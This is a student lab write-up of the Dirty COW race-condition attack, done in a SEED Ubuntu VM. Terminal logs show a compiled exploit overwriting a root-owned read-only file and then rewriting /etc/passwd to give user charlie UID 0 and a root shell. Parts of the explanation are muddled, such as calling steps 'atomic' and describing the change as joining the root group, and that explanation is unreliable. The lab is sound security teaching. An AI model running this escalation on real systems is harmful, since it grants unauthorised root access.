LAB 5: DIRTY COW Attack Lab

Task 1: Modify a Dummy Read-Only File

In this task, we create a 'zzz' file inside the root directory, then we put some contents. This file is read-only for the normal users. Next, we try to modify the 'zzz' file by entering some data, but the permission is denied. We then compile and run the exploit code that makes use of the user thread. We notice in the screenshot that the attack is successful.

```
[10/05/2019 13:55] seed@ubuntu:~$ cd Desktop/
[10/05/2019 13:56] seed@ubuntu:~/Desktop$ mkdir Lab5
[10/05/2019 13:56] seed@ubuntu:~/Desktop$ cd Lab5/
[10/05/2019 13:56] seed@ubuntu:~/Desktop/Lab5$ sudo touch /zzz
[sudo] password for seed:
[10/05/2019 13:56] seed@ubuntu:~/Desktop/Lab5$ sudo chmod 644 /zzz
[10/05/2019 13:56] seed@ubuntu:~/Desktop/Lab5$ sudo gedit /zzz
[10/05/2019 13:57] seed@ubuntu:~/Desktop/Lab5$ cat /zzz
111111222222333333
[10/05/2019 13:57] seed@ubuntu:~/Desktop/Lab5$ ls -l /zzz
-rw-r--r-- 1 root root 19 Oct  5 13:57 /zzz
[10/05/2019 13:57] seed@ubuntu:~/Desktop/Lab5$ echo 99999 > /zzz
bash: /zzz: Permission denied
[10/05/2019 13:57] seed@ubuntu:~/Desktop/Lab5$ gedit cow_attack.c
[10/05/2019 13:59] seed@ubuntu:~/Desktop/Lab5$ gcc cow_attack.c -lpthread
[10/05/2019 14:00] seed@ubuntu:~/Desktop/Lab5$ a.out
^C
[10/05/2019 14:00] seed@ubuntu:~/Desktop/Lab5$ cat /zzz
111111******333333
[10/05/2019 14:00] seed@ubuntu:~/Desktop/Lab5$
```

In the attack code there are two threads. One that does write() in an infinite loop and the other mentions if we don't need a copy. The first thread initiates steps 1 and 2. Second thread initiates step 3. Steps 1, 2 and 3 should execute respectively. Since steps 1 and 2 are atomic in nature and all the steps are being called infinitely, they tend to execute in a random order. Hence, that is the reason for the attack to be successful.

Task 2: Modify the Password File to Gain the Root Privilege

In this task, we add a user and then modify the user in such a way that we gain root access. For this attack I initially copied the contents of the /etc/passwd file to another file. This is done because modifying the '/etc/passwd' file can cause many issues to the that file.

```
[10/05/2019 14:00] seed@ubuntu:~/Desktop/Lab5$ sudo adduser charlie
Adding user `charlie' ...
Adding new group `charlie' (1002) ...
Adding new user `charlie' (1001) with group `charlie' ...
Creating home directory `/home/charlie' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for charlie
Enter the new value, or press ENTER for the default
        Full Name []: Charlie
        Room Number []: 123
        Work Phone []: 4567890
        Home Phone []: 1234567
        Other []: 8901234
Is the information correct? [Y/n] y
[10/05/2019 14:03] seed@ubuntu:~/Desktop/Lab5$ cat /etc/passwd | grep charlie
charlie:x:1001:1002:Charlie,123,4567890,1234567,8901234:/home/charlie:/bin/bash
[10/05/2019 14:03] seed@ubuntu:~/Desktop/Lab5$
```

```
[10/05/2019 14:13] seed@ubuntu:~/Desktop/Lab5$ gedit cow_attack.c
[10/05/2019 14:13] seed@ubuntu:~/Desktop/Lab5$ gcc cow_attack.c -lpthread
[10/05/2019 14:13] seed@ubuntu:~/Desktop/Lab5$ a.out
^C
[10/05/2019 14:13] seed@ubuntu:~/Desktop/Lab5$ cat /etc/passwd | grep charlie
charlie:x:0000:1002:Charlie,123,4567890,1234567,8901234:/home/charlie:/bin/bash
[10/05/2019 14:13] seed@ubuntu:~/Desktop/Lab5$ su charlie
Password:
root@ubuntu:/home/seed/Desktop/Lab5# id
uid=0(root) gid=1002(charlie) groups=0(root),1002(charlie)
root@ubuntu:/home/seed/Desktop/Lab5#
```

In this attack we find the user and his group and modify the "charlie:x:1001:1002:" to "charlie:x:0000:1002:" such that the user is in root group providing us (the normal user) the root access. Hence, this attack is similar to the attack in Task 1, there are again two thread one that writes and the other that implies 'DONTNEED'. We modify the cow_attack.c code in such a way that we gain the root privilege from the password file directly. The attack is tried on the '/etc/passwd'. The attack is successful on the '/etc/passwd' file also and the normal user has been upgraded and gets the root access.